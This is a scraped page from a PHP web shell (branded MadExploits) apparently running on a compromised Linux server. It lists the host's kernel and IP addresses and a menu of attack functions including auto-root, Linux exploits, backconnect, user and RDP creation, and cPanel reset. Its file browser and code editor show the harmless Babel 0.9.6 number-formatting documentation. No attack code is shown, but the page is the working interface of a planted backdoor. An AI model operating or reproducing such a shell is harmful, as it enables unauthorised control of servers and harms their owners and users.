Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 13.58.200.16
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
python-babel-0.9.6 /
doc /
[ HOME SHELL ]
Name
Size
Permission
Action
api
[ DIR ]
drwxr-xr-x
common
[ DIR ]
drwxr-xr-x
cmdline.html
8.19
KB
-rw-r--r--
cmdline.txt
6.57
KB
-rw-r--r--
dates.html
16.4
KB
-rw-r--r--
dates.txt
13.66
KB
-rw-r--r--
display.html
4.33
KB
-rw-r--r--
display.txt
2.36
KB
-rw-r--r--
index.html
1.88
KB
-rw-r--r--
index.txt
882
B
-rw-r--r--
intro.html
3.81
KB
-rw-r--r--
intro.txt
2.44
KB
-rw-r--r--
logo.pdf
43.93
KB
-rw-r--r--
logo.png
15.12
KB
-rw-r--r--
logo_small.png
5.97
KB
-rw-r--r--
messages.html
17.44
KB
-rw-r--r--
messages.txt
11.7
KB
-rw-r--r--
numbers.html
6.05
KB
-rw-r--r--
numbers.txt
4.66
KB
-rw-r--r--
setup.html
18.86
KB
-rw-r--r--
setup.txt
14.84
KB
-rw-r--r--
support.html
3.17
KB
-rw-r--r--
support.txt
1.73
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : numbers.html
<!DOCTYPE html> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta name="generator" content="Docutils 0.7: http://docutils.sourceforge.net/"> <title>Babel: Number Formatting</title> <link rel="stylesheet" href="common/style/edgewall.css" type="text/css"> </head> <body> <div class="document" id="number-formatting"> <div id="navigation"> <span class="projinfo">Babel 0.9.6</span> <a href="index.html">Documentation Index</a> </div> <h1 class="title">Number Formatting</h1> <div class="contents topic" id="contents"> <p class="topic-title first">Contents</p> <ul class="auto-toc simple"> <li><a class="reference internal" href="#pattern-syntax" id="id1">1 Pattern Syntax</a></li> <li><a class="reference internal" href="#parsing-numbers" id="id2">2 Parsing Numbers</a></li> </ul> </div> <p>Support for locale-specific formatting and parsing of numbers is provided by the <tt class="docutils literal">babel.numbers</tt> module:</p> <div class="system-message"> <p class="system-message-title">System Message: ERROR/3 (<tt class="docutils">doc/numbers.txt</tt>, line 16)</p> <p>Unknown directive type "code-block".</p> <pre class="literal-block"> .. code-block:: pycon >>> from babel.numbers import format_number, format_decimal, format_percent </pre> </div> <p>Examples:</p> <div class="system-message"> <p class="system-message-title">System Message: ERROR/3 (<tt class="docutils">doc/numbers.txt</tt>, line 22)</p> <p>Unknown directive type "code-block".</p> <pre class="literal-block"> .. code-block:: pycon >>> format_decimal(1.2345, locale='en_US') u'1.234' >>> format_decimal(1.2345, locale='sv_SE') u'1,234' >>> format_decimal(12345, locale='de_DE') u'12.345' </pre> </div> <div class="section" id="pattern-syntax"> <h1>1 Pattern Syntax</h1> <p>While Babel makes it simple to use the appropriate number format for a given locale, you can also force it to use custom patterns. As with date/time formatting patterns, the patterns Babel supports for number formatting are based on the <a class="reference external" href="http://unicode.org/reports/tr35/#Number_Format_Patterns">Locale Data Markup Language specification</a> (LDML).</p> <p>Examples:</p> <div class="system-message"> <p class="system-message-title">System Message: ERROR/3 (<tt class="docutils">doc/numbers.txt</tt>, line 42)</p> <p>Unknown directive type "code-block".</p> <pre class="literal-block"> .. code-block:: pycon >>> format_decimal(-1.2345, format='#,##0.##;-#', locale='en') u'-1.23' >>> format_decimal(-1.2345, format='#,##0.##;(#)', locale='en') u'(1.23)' </pre> </div> <p>The syntax for custom number format patterns is described in detail in the the specification. The following table is just a relatively brief overview.</p> <blockquote> <blockquote> <table border="1" class="docutils"> <colgroup> <col width="13%"> <col width="87%"> </colgroup> <thead valign="bottom"> <tr><th class="head">Symbol</th> <th class="head">Description</th> </tr> </thead> <tbody valign="top"> <tr><td><tt class="docutils literal">0</tt></td> <td>Digit</td> </tr> <tr><td><tt class="docutils literal"><span class="pre">1-9</span></tt></td> <td>'1' through '9' indicate rounding.</td> </tr> <tr><td><tt class="docutils literal">@</tt></td> <td>Significant digit</td> </tr> <tr><td><tt class="docutils literal">#</tt></td> <td>Digit, zero shows as absent</td> </tr> <tr><td><tt class="docutils literal">.</tt></td> <td>Decimal separator or monetary decimal separator</td> </tr> <tr><td><tt class="docutils literal">-</tt></td> <td>Minus sign</td> </tr> <tr><td><tt class="docutils literal">,</tt></td> <td>Grouping separator</td> </tr> <tr><td><tt class="docutils literal">E</tt></td> <td>Separates mantissa and exponent in scientific notation</td> </tr> <tr><td><tt class="docutils literal">+</tt></td> <td>Prefix positive exponents with localized plus sign</td> </tr> <tr><td><tt class="docutils literal">;</tt></td> <td>Separates positive and negative subpatterns</td> </tr> <tr><td><tt class="docutils literal">%</tt></td> <td>Multiply by 100 and show as percentage</td> </tr> <tr><td><tt class="docutils literal">‰</tt></td> <td>Multiply by 1000 and show as per mille</td> </tr> <tr><td><tt class="docutils literal">¤</tt></td> <td>Currency sign, replaced by currency symbol. If doubled, replaced by international currency symbol. If tripled, uses the long form of the decimal symbol.</td> </tr> <tr><td><tt class="docutils literal">'</tt></td> <td>Used to quote special characters in a prefix or suffix</td> </tr> <tr><td><tt class="docutils literal">*</tt></td> <td>Pad escape, precedes pad character</td> </tr> </tbody> </table> </blockquote> </blockquote> </div> <div class="section" id="parsing-numbers"> <h1>2 Parsing Numbers</h1> <p>Babel can also parse numeric data in a locale-sensitive manner:</p> <div class="system-message"> <p class="system-message-title">System Message: ERROR/3 (<tt class="docutils">doc/numbers.txt</tt>, line 96)</p> <p>Unknown directive type "code-block".</p> <pre class="literal-block"> .. code-block:: pycon >>> from babel.numbers import parse_decimal, parse_number </pre> </div> <p>Examples:</p> <div class="system-message"> <p class="system-message-title">System Message: ERROR/3 (<tt class="docutils">doc/numbers.txt</tt>, line 102)</p> <p>Unknown directive type "code-block".</p> <pre class="literal-block"> .. code-block:: pycon >>> parse_decimal('1,099.98', locale='en_US') 1099.98 >>> parse_decimal('1.099,98', locale='de') 1099.98 >>> parse_decimal('2,109,998', locale='de') Traceback (most recent call last): ... NumberFormatError: '2,109,998' is not a valid decimal number </pre> </div> <div class="note"> <p class="first admonition-title">Note</p> <p class="last">Number parsing is not properly implemented yet</p> </div> </div> <div id="footer"> Visit the Babel open source project at <a href="http://babel.edgewall.org/">http://babel.edgewall.org/</a> </div> </div> </body> </html>
Close